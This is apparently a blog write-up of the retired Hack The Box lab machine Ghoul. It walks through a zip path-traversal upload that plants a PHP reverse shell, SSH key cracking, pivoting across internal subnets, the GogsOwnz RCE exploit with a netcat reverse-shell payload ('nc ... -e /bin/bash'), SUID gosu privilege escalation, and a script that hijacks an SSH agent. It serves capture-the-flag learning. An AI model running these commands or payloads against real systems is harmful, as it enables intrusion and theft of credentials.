Write-up: HTB Ghoul
Posted on October 05, 2019 in Cybersecurity
This was the first box on Hack The Box I've completed, that has the difficulty hard. It was released on May 4, 2019 and it's a Linux-based machine. Hacking Ghoul was really fun, though, I needed a few hints by other people. The box is now retired, which means I am allowed to post this write-up on my blog.
The greater the obstacle, the more glory in overcoming it. - Moliere
Summary
As always, there are different approaches to find the user.txt and root.txt on the system. I have read about an unintended way to root the box in a few minutes ;) I did the following:
After enumerating all the open ports, we discover a file upload mechanism on a webserver. The file upload is restricted to compressed .zip files, however, we can create a file so that it will be uncompressed into the public web directory. By doing this we gain a shell. Basic enumeration on the system will lead to a few unprivileged users. One RSA key, which must be decrypted first, gives us access to another host (a personal computer). From there we can scan a yet unknown subnet, where we find a Git server. Next, we have to use a public exploit for this Git server, which leads to RCE. Once the Git is rooted, we can download a software project, which contains the credentials to become root on the pc. From there, we can hijack a SSH session using SSH agents to eventually spawn a root shell on the host.
Box overview
The box actually consists of three docker containers. We have to get the users from left to right and escalate privileges the opposite direction. The entry point is Aogiri as user www-data.

Initial foothold
Network scan
I use both masscan and nmap. Usually, I prefer masscan, if I have to scan larger subnets or all the 65,535 ports of a single host. Experience has shown that in many cases it is sufficient to scan only the first 1,000 ports of HTB machines. I use the -A option, which enables OS detection, version detection and script scanning.
nibess@kali:~$ nmap -A 10.10.10.101
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-16 23:05 BST
Nmap scan report for 10.10.10.101
Host is up (0.024s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c1:1c:4b:0c:c6:de:ae:99:49:15:9e:f9:bc:80:d2:3f (RSA)
|_ 256 a8:21:59:7d:4c:e7:97:ad:78:51:da:e5:f0:f9:ab:7d (ECDSA)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Aogiri Tree
2222/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 63:59:8b:4f:8d:0a:e1:15:44:14:57:27:e7:af:fb:3b (RSA)
| 256 8c:8b:a0:a8:85:10:3d:27:07:51:29:ad:9b:ec:57:e3 (ECDSA)
|_ 256 9a:f5:31:4b:80:11:89:26:59:61:95:ff:5c:68:bc:a7 (ED25519)
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=Aogiri
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88 - Error report
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.76 seconds
Enumeration of Port 80
Members area
Enumerating the website on port 80, we can see a lot of content related to the manga series Tokyo Ghoul. At the web directory /users we can see a password protected area, which turned out to be a rabbit hole. When we login, the website only says:
Sup?You tryna hunt the ghoul but you get hunted instead. ;)
Later I discovered, that the credentials are hardcoded in this array: array('kaneki' => '123456','noro' => 'password123','admin' => 'abcdef');
Secret chat
A web page, which is actually helpful, is the resource secret.php. Although, it is publicly accessible, my dirb command doesn't detect it. We can learn four potential usernames and potential password from the website.

Enumeration of Port 22 and 2222
SSH on both ports seem to be 'secure'. I personally never experienced an insecure SSH server. However, I was told to never make fixed assumptions, instead formulate hypothesis, say it's unlikely that SSH is vulnerable, but possible.
Enumeration of Port 8080
The website on port 8080 uses HTTP basic authentication to protect the web page. However, the credentials admin:admin
are easy to guess.
nibess@kali:~$ dirb http://10.10.10.101:8080/ /usr/share/wordlists/dirb/common.txt -u admin:admin
---- Scanning URL: http://10.10.10.101:8080/ ----
+ http://10.10.10.101:8080/css (CODE:302|SIZE:0)
+ http://10.10.10.101:8080/fonts (CODE:302|SIZE:0)
+ http://10.10.10.101:8080/img (CODE:405|SIZE:1065)
+ http://10.10.10.101:8080/index.html (CODE:200|SIZE:43233)
+ http://10.10.10.101:8080/js (CODE:302|SIZE:0)
+ http://10.10.10.101:8080/studio (CODE:302|SIZE:0)
+ http://10.10.10.101:8080/upload (CODE:405|SIZE:1065)
+ http://10.10.10.101:8080/vendors (CODE:302|SIZE:0)
Spawning a low-privileged shell through .zip file upload
The dirb scan showed a bunch of resources, that can be accessed. Depending on the HTTP status code, I usually re-check all the results manually. The resource /upload gives us a 405 error, which means "Method Not Allowed". This is the case when dirb uses the HTTP request method GET to access the resource, but the webserver expects a POST request.
nibess@kali:~$ curl -X POST -u admin:admin http://10.10.10.101:8080/upload
[...]
<h3><font face="verdana">Sorry this Servlet only handles file upload request</font></h3>
[...]
nibess@kali:~$ curl -X POST -u admin:admin -F "data=@test.php" http://10.10.10.101:8080/upload
[...]
<h3><font face="verdana">Hey look who's being Mr. Smarty Pants. We said ONLY zip.</font></h3>
[...]
So I tested the supported request method and we were told to upload a file. More precisely, we have to upload a ZIP file. At this point, a fairly well known issue came into my mind - a path traverse issue. I'm not sure how this kind of vulnerability is named correctly (as criticized by LiveOverflow), however, googling for "zip vulnerability" will give the desired results.
My approach to exploit the upload mechanism was very similar to this blog post. I needed a few iterations, because the location, in which the file will be extracted is unclear. Long story short, the location is /var/tmp
, hence, we have to extract the archive to ../www/html/
.
- create a .php file that spawns a reverse shell
- rename the file to XXYwwwYhtmlYcmd.php
- compress XXYwwwYhtmlYcmd.php to XXYwwwYhtmlYcmd.zip
- replace the X by . and Y by / (I used Bless)
- upload the modified .zip file
- call http://10.10.10.101/cmd.php
nibess@kali:~$ curl -X POST -u admin:admin -F "data=@cmd.zip" http://10.10.10.101:8080/upload
[...]
<h3><font face="verdana">File Uploaded Successfully </font></h3>
[...]
Unprivileged user (user.txt)
www-data@Aogiri
In /var/backups/backups
we find a few files, which seem to be not helpful, expect the RSA private keys of three users. Using the keys, we can directly login as Eto and noro. Kanekis key is encrypted.
www-data@Aogiri:~$ ls -lR /var/backups/backups/
/var/backups/backups/:
total 3836
-rw-r--r-- 1 root root 3886432 Dec 13 13:45 Important.pdf
drwxr-xr-x 2 root root 4096 Dec 13 13:45 keys
-rw-r--r-- 1 root root 112 Dec 13 13:45 note.txt
-rw-r--r-- 1 root root 29380 Dec 13 13:45 sales.xlsx
/var/backups/backups/keys:
total 12
-rwxr--r-- 1 root root 1675 Dec 13 13:45 eto.backup
-rwxr--r-- 1 root root 1766 Dec 13 13:45 kaneki.backup
-rwxr--r-- 1 root root 1675 Dec 13 13:45 noro.backup
noro@Aogiri
Nothing interesting, so far, as user noro.
nibess@kali:~/htb/ghoul$ ssh -i noro.key noro@10.10.10.101
noro@Aogiri:~$ ls -l
total 4
-rwx------ 1 noro noro 24 Dec 13 13:45 to-do.txt
noro@Aogiri:~$ cat to-do.txt
Need to update backups.
Eto@Aogiri
In the home directory of Eto we can see a hint, that there is probably something in the logs. I couldn't find anything. Instead, I discovered a password in the Tomcat configuration. The files in /var/tmp
such as angecrypt.py seem to be a rabbit hole, too. At least, I didn't use them.
nibess@kali:~/htb/ghoul$ ssh -i eto.key Eto@10.10.10.101
Eto@Aogiri:~$ ls -l
total 4
-rwx------ 1 Eto Eto 92 Dec 13 13:45 alert.txt
Eto@Aogiri:~$ cat alert.txt
Hey Noro be sure to keep checking the humans for IP logs and chase those little shits down!
Eto@Aogiri:/var/tmp$ ls -la
total 8648
drwxrwxrwt 1 root root 4096 Jan 22 17:09 .
drwxr-xr-x 1 root root 4096 Dec 13 13:45 ..
-rw-r--r-- 1 root root 4404 Jan 22 16:35 angecrypt.py
-rw-r--r-- 1 root root 1677441 Jan 22 16:35 edited_NSA-Report.pdf
-rw-r--r-- 1 root root 5500549 Jan 22 17:09 f.zip
-rw-r--r-- 1 root root 1643841 Jan 22 16:35 hunt.zip
-rw-r--r-- 1 root root 101 Jan 22 16:57 k.zip
-rw-r--r-- 1 root root 1868 Jan 22 16:35 txt
Eto@Aogiri:/usr/share/tomcat7/conf$ less tomcat-users.xml
<user username="admin" password="admin" roles="admin" />
<role rolename="admin" />
<!--<user username="admin" password="test@aogiri123" roles="admin" />
<role rolename="admin" />-->
</tomcat-users>
kaneki@Aogiri
SSH Key Bruteforce
We have to decrypt the SSL key of kaneki, before we can switch to this user. For that, I created a wordlist based on the chat protocol, we have seen in secret.php. I expected the MD5 hash to be the pass-phrase, but this is just another rabbit hole ;) In the end, I used a bash script ssl-crack.sh by TheXero, that is able to find the correct password in our wordlist, we have generated with cewl
. By the way, it's always a good idea to note down potential usernames and passwords - often people reuse their passwords.
nibess@kali:~/htb/ghoul$ cewl http://10.10.10.101/secret.php > cewl.lst
nibess@kali:~/htb/ghoul$ ssl-crack.sh kaneki.key
Password for SSL / SSH Key is: ILoveTouka
Okay, logged in as kaneki, we can see the typical 33 byte long user.txt. Besides that, a hint is given, that says something about Gogs, which is described as painless self-hosted Git service by their creators.
kaneki@Aogiri:~$ ls -l
total 52
-rw------- 1 kaneki kaneki 148 Dec 13 13:45 note.txt
-rwx------ 1 kaneki kaneki 136 Dec 13 13:45 notes
-rwx------ 1 kaneki kaneki 39382 Dec 13 13:45 secret.jpg
-rwx------ 1 kaneki kaneki 33 Dec 13 13:45 user.txt
kaneki@Aogiri:~$ cat note.txt
Vulnerability in Gogs was detected. I shutdown the registration function on our server, please ensure that no one gets access to the test accounts.
Privilege escalation on host Aogiri (root.txt)
kaneki@Aogiri
Network scan
In order to find that host (Gogs is definitely not running on this host), I uploaded nmap
as static binary to run it on Aogiri. Indeed, we are not alone in this subnet. Unfortunately, only port 22 is open on 172.20.0.150.
kaneki@Aogiri:/tmp/.a$ ./nmap -sP 172.20.*.*
Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2019-05-26 17:33 UTC
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for Aogiri (172.20.0.1)
Host is up (0.00074s latency).
Nmap scan report for Aogiri (172.20.0.10)
Host is up (0.00020s latency).
Nmap scan report for 64978af526b2.Aogiri (172.20.0.150)
Host is up (0.00048s latency).
kaneki@Aogiri:/tmp/.a$ ./nmap -p- 172.20.0.150
Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2019-05-26 17:35 UTC
Unable to find nmap-services! Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 64978af526b2.Aogiri (172.20.0.150)
Host is up (0.00020s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
22/tcp open ssh
Nmap done: 1 IP address (1 host up) scanned in 4.10 seconds
kaneki_pub@kaneki-pc
Next, we need to find out, how to login into the host with the IP address 172.20.0.150 (kaneki-pc). On Aogiri we can find the public key of kaneki_pub@kaneki-pc in authorized_keys (in the home directory of the user kaneki). Using the user kaneki_pub and the private key, we already know, we are able to login to kaneki-pc. We note down the user AogiriTest. However, this doesn't seem to be the Gogs server ...
kaneki_pub@kaneki-pc:~$ cat to-do.txt
Give AogiriTest user access to Eto for git.
kaneki_pub@kaneki-pc:~$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.20.0.150 netmask 255.255.0.0 broadcast 172.20.255.255
ether 02:42:ac:14:00:96 txqueuelen 0 (Ethernet)
RX packets 156784 bytes 9225633 (9.2 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 70129 bytes 4311803 (4.3 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.18.0.200 netmask 255.255.0.0 broadcast 172.18.255.255
ether 02:42:ac:12:00:c8 txqueuelen 0 (Ethernet)
RX packets 2103 bytes 400002 (400.0 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 2332 bytes 423170 (423.1 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Interestingly, this host has more than one ethernet interface, which reveals another subnet 172.18.0.0/16. Again, I scanned the subnet using nmap
. We can find the host cuff_web_1.cuff_default (172.18.0.2), which has port 3000 open.
kaneki_pub@kaneki-pc:/dev/shm$ ./nmap -Pn 172.18.*.*
Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2019-05-26 17:52 GMT
Unable to find nmap-services! Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 172.18.0.0
Host is up (0.0000060s latency).
All 1207 scanned ports on 172.18.0.0 are filtered
Nmap scan report for Aogiri (172.18.0.1)
Host is up (0.00053s latency).
Not shown: 1204 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-alt
Nmap scan report for cuff_web_1.cuff_default (172.18.0.2)
Host is up (0.00048s latency).
Not shown: 1206 closed ports
PORT STATE SERVICE
22/tcp open ssh
Nmap scan report for 172.18.0.3
Host is up.
All 1207 scanned ports on 172.18.0.3 are filtered
kaneki_pub@kaneki-pc:/dev/shm$ ./nmap -p- 172.18.0.2
Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2019-05-26 17:52 GMT
Unable to find nmap-services! Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for cuff_web_1.cuff_default (172.18.0.2)
Host is up (0.00044s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
3000/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 4.12 seconds
Local Port Forwarding & GogsOwnz
A simple wget
confirms, that we have Gogs running on port 3000. I set up local port forwarding to access the web interface of Gogs directly in the webbrowser. Alternatively, we could capture the HTTP packets, to get the header. This will be needed to exploit Gogs.
# localhost:4000 <---> 10.10.10.101:4000
nibess@kali:~/htb/ghoul$ ssh -i kaneki2.key kaneki@10.10.10.101 -L 4000:localhost:4000
Last login: Sat May 18 18:00:03 2019 from 10.10.15.102
kaneki@Aogiri:~$
# localhost:4000 <---> 10.10.10.101:4000 <---> 172.20.0.150:4000 <---> 172.18.0.2:3000
kaneki@Aogiri:/tmp$ ssh -i dec kaneki_pub@172.20.0.150 -L 4000:172.18.0.2:3000
Last login: Sat May 18 18:02:20 2019 from 172.20.0.10
kaneki_pub@kaneki-pc:~$
The website says, we are dealing with Gogs Version: 0.11.66.0916. This version is vulnerable to authenticated RCE, as a quick Google search showed. There is even a working exploit published for this version on GitHub. GogsOwnz is authenticated only, so we need to figure out the user and password. Fortunately, we already know both username and password: it's AogiriTest:test@aogiri123
.

So, we use GogsOwnz as described on the GitHub readme page to spawn a shell as user git. Further, I added my public key in authorized_keys to get a better shell.
python3 gogsownz.py http://172.18.0.2:3000/ -v -n 'i_like_gogits' -c '77565c9cf7d62c0e' -C 'AogiriTest:test@aogiri123' --rce '/usr/bin/nc 172.18.0.200 6666 -e /bin/bash'
git@3713ea5e4353
Escalate Privileges on 3713ea5e4353
The steps needed to become root on Gogs are quite simple. I ran LinEnum and found a suspicious SUID file. Every user on the system can run /usr/sbin/gosu
with the permissions of the owner (root). By the way, I can highly recommend GTFOBins to look up unix binaries.
3713ea5e4353:/tmp$ ./LinEnum.sh
[-] SUID files:
-rwsr-xr-x 1 root root 47376 May 19 2018 /usr/bin/passwd
-rwsr-xr-x 1 root root 55200 May 19 2018 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 55408 May 19 2018 /usr/bin/chage
-rwsr-xr-x 1 root root 41848 May 19 2018 /usr/bin/chfn
-rwsr-xr-x 1 root root 32256 May 19 2018 /usr/bin/chsh
-rwsr-xr-x 1 root root 32088 May 19 2018 /usr/bin/newgrp
-rwsr-xr-x 1 root root 18608 May 19 2018 /usr/bin/expiry
-rws--x--x 1 root root 1286720 May 24 2017 /usr/sbin/gosu
-rwsr-xr-x 1 root root 36560 May 19 2018 /bin/su
3713ea5e4353:/tmp$ /usr/sbin/gosu root:root bash -c '/bin/bash'
bash-4.4# ls -l /root
total 120
-rw-r--r-- 1 root root 117507 Dec 29 06:40 aogiri-app.7z
-rwxr-xr-x 1 root root 179 Dec 16 07:10 session.sh
I downloaded and extracted the file aogiri-app.7z to my local machine.
aogiri-app.7z
The .7z archive will eventually lead to the password for root@kaneki-pc. This wasn't obvious to me, because I only looked at the code.
In a subdirectory of the chat app, we discover a Git repository. Using the command git log
we see a commit with the message "noro stop doing stupid shit". When we look at the discriminative lines compared to the previous commit, we see a password.
nibess@kali:~/htb/ghoul/aogiri-app/aogiri-chatapp$ git diff b3752e00721b4b87c99ef58e3a54143061b20b99 e29ad435b1cf4d9e777223a133a5b0a9aaa20625
diff --git a/src/main/java/com/aogiri/aogirichatapp/service/ChatBotService.java b/src/main/java/com/aogiri/aogirichatapp/service/ChatBotService.java
[...]
@@ -1,7 +1,7 @@
server.port=8080
-spring.datasource.url=jdbc:mysql://172.18.0.1:3306/db
+spring.datasource.url=jdbc:mysql://localhost:3306/db
spring.datasource.username=kaneki
-spring.datasource.password=jT7Hr$.[nF.)c)4C
+spring.datasource.password=7^Grc%C\7xEQ?tb4
server.address=0.0.0.0
root@kaneki-pc
Using the password, stored in the chat app, we can switch to the root user on kaneki-pc. By doing this, we gain access to the user kaneki_adm, too. Normally, the root flag is stored in /root/root.txt
. But this root.txt is 110 bytes long ...
You've done well to come upto here human. But what you seek doesn't lie here. The journey isn't over yet.....
root@Aogiri
So far, two out of three hosts are rooted now. In order to root the remaining host Aogiri, the tool pspy is invaluable.
SSH Agent Hijacking
In the directory /tmp we can see several ssh-*
folders, which are an indication of ssh-agents. To confirm this, first I checked whether ssh-agents are enabled and then ran pspy to list all running processes.
root@kaneki-pc:/etc/ssh# cat ssh_config | grep -i agent -B 1
Host *
ForwardAgent yes
root@kaneki-pc:/tmp# ./pspy64
019/05/27 14:36:01 CMD: UID=0 PID=11641 | /usr/sbin/sshd -D -R
2019/05/27 14:36:01 CMD: UID=104 PID=11642 | sshd: [net]
2019/05/27 14:36:01 CMD: UID=1001 PID=11643 | sshd: kaneki_adm
2019/05/27 14:36:01 CMD: UID=1001 PID=11644 | bash -c ssh root@172.18.0.1 -p 2222 -t ./log.sh
In the output of the commands, we can see that kaneki_adm login to 172.18.0.1 (which is the host Aogiri) through an ssh-agent to trigger the logging mechanism. This happens every few minutes. The vulnerability is that every (intermediate) host in this chain must be trustworthy, because they can access the agent socket. However, we have fully compromised kaneki-pc.
The procedure is very well explained here and here. Basically, we have to tell the authentication agent which socket to use. This is done via the environment variable $SSH_AUTH_SOCK. Then we add the private key to the agent and login to Aogiri as user root.
I've found a helpful shell script by another user on this machine (let me know if this is yours!). This is especially important, because there is not much time to type in the commands. Furthermore, we have some debugging output.
root@kaneki-pc:~# cat test.sh
#!/bin/sh
export SSH_AUTH_SOCK=$(find /tmp/ -name "*agent*" | head -n 1)
echo "[+] SSL_AUTH_SOCK value is $SSL_AUTH_SOCK"
echo "[+] attempt @ $(date)"
ssh-add -l
ssh -v -p 2222 root@172.18.0.1
root@Aogiri:~# ls -l
total 8
-rwxr-xr-x 1 root root 58 Dec 30 07:28 log.sh
-rw------- 1 root root 33 Dec 28 23:01 root.txt
Finally, we see the 33-byte long root.txt! :)